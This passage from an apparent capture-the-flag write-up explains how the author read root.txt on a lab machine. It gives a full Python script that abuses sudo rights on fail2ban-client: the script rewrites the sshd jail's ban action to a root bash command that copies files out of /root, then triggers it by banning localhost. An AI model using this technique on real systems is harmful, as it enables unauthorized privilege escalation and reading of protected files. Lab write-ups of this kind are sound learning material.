At this time, I made the mistake of focusing on getting access to the Magnus user, thinking it was the path.  For me, it was not.  To be honest, I am not sure I took the correct path, but in the end, I did get the root.txt file, and this is how I did it. I found a script that helps read files with the fail2ban-client sudo.  Here is the website I found the script from but I did need to make some changes to the script to get it to work I included that script below

import os
import subprocess
import sys

def is_sudo_accessible():
    """Check if the user can run fail2ban-client with sudo."""
    try:
        result = subprocess.run(['sudo', '-n', 'fail2ban-client', 'status'],
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if result.returncode == 0:
            return True
        else:
            print("You do not have the necessary permissions to run fail2ban-client with sudo.")
            return False
    except FileNotFoundError:
        print("fail2ban-client is not installed on this system.")
        return False

def run_command(command):
    """Run a shell command."""
    try:
        result = subprocess.run(command, shell=True,
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if result.returncode != 0:
            print(f"Error running command: {command}")
            print(result.stderr.decode())
        else:
            print(result.stdout.decode())
    except Exception as e:
        print(f"An error occurred while running command: {command}\n{str(e)}")

def main():
    if not os.name == 'posix':
        print("This script is designed to run on a Linux machine.")
        sys.exit(1)

    if not is_sudo_accessible():
        sys.exit(1)

    flag_filename = input("Enter the flag file name (e.g., root.txt): ").strip()
    flag_file_path = f"/root/{flag_filename}"
    tmp_file_path = f"/tmp/{flag_filename}"

    print("Restarting fail2ban...")
    run_command("sudo /usr/bin/fail2ban-client restart")

    print(f"Copying flag to {tmp_file_path}, fixing permissions...")
    command = (
        f"sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "
        f"\"/bin/bash -c 'cat {flag_file_path} > {tmp_file_path} && "
        f"chmod 644 {tmp_file_path} && chown asterisk:asterisk {tmp_file_path}'\""
    )
    run_command(command)

    print("Banning IP 127.0.0.1 to trigger actionban...")
    run_command("sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1")

    print(f"The flag is now in {tmp_file_path} and should be readable by user 'asterisk'.")

if __name__ == "__main__":
    main()

On your remote host run nano and give it a name something like root.py then just run the script with python root.py and it will read the root.txt

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